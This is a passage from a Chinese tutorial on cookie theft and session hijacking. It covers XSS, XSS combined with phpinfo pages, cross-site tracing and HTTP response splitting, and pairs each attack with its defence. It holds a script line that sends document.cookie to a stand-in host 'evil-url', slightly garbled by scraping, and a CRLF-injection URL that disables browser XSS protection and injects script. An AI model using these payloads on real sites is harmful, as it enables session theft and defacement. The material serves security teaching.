cookie窃取和session劫持( 二 )


var img = document.createElement('img');img.src =https://www.isolves.com/it/aq/wl/2019-07-08/'http://evil-url?c='+ encodeURIComponent(document.cookie);document.getElementsByTagName('body')[0].AppendChild(img);如何寻找XSS漏洞是另外一个话题了 , 自行google之 。 防御 根据上面HttpOnly cookie的介绍 , 一旦一个cookie被设置为HttpOnly , js脚本就无法再获取到 , 而网络传输时依然会带上 。也就是说依然可以依靠这个cookie进行session维持 , 但客户端js对其不可见 。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了 。但是上面说的是无法利用xss进行简单的攻击 , 但是也不是没有办法的 。既然无法使用document.cookie获取到 , 可以转而通过其他的方式 。下面介绍两种xss结合其他漏洞的攻击方式 。
xss结合phpinfo页面
攻击 大家都知道 , 利用php开发的应用会有一个phpinfo页面 。而这个页面会dump出请求信息 , 其中就包括cookie信息 。
如果开发者没有关闭这个页面 , 就可以利用xss漏洞向这个页面发起异步请求 , 获取到页面内容后parse出cookie信息 , 然后上传给攻击者 。phpinfo只是大家最常见的一种dump请求的页面 , 但不仅限于此 , 为了调试方便 , 任何dump请求的页面都是可以被利用的漏洞 。 防御关闭所有phpinfo类dump request信息的页面 。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式 , 现在已经消失 , 写在这里可以扩展一下攻防思路 。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法 。其中包含了HttpOnly的cookie 。如果利用xss异步发起trace请求 , 又可以获取session信息了 。之所以说是一种古老的攻击方式 , 因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求 。另外提一点 , 当浏览器没有禁止异步发起trace的时代 , 很多开发者都关闭了web server的trace支持来防御XST攻击 。但攻击者在特定的情况下还可以绕过 , 用户使用了代理服务器 , 而代理服务器没有关闭trace支持 , 这样又可以trace了 。
HTTP Response Splitting

  • 参考1
  • 参考2
通常的XSS攻击都是把输入内容注入到response的content中 , HTTP Response Splitting是一种针对header的注入 。例如 , 一个站点接受参数做302跳转:
www.example.com/?r=http://baidu.comrequest信息:
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 FoundLocation: http://baidu.comContent-Type: text/html这样页面就302跳转到百度了 。攻击者利用r参数可以注入header , r参数不是简单的url , 而是包含的header信息:
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E response变成了:
HTTP/1.1 302 FoundLocation: HTTP/1.1 200 OKContent-Type: text/htmlX-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>Content-Type: text/html有两个攻击要点:
  • 指定X=XSS-Protection: 0  , 关闭浏览器的xss保护机制 。
  • 注入脚本
防御 针对header的内容做过滤 , 不能漏掉 , 特别是Location , host , referrer等 。说到底 , 这也是一种XSS攻击 , 只是攻击方式与普通的不太一样 。针对header的攻击还可以做SQL注入等 , 防御的原则是对所有的输入进行sanitize , 包括非用户输入的内容 , 比如referrer这种一般由浏览器带过来的信息 , 因为请求完全可以被伪造 , 未必来自浏览器 。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式 , cookie不仅存在于上层应用中 , 更流转于请求中 。上层应用获取不到后 , 攻击者可以转而从网络请求中获取 。只要是未使用https加密的网站都可以抓包分析 , 其中就包含了标识session的cookie 。当然 , 完成网络监听需要满足一定的条件 , 这又是另外一个话题了 。常见的方式: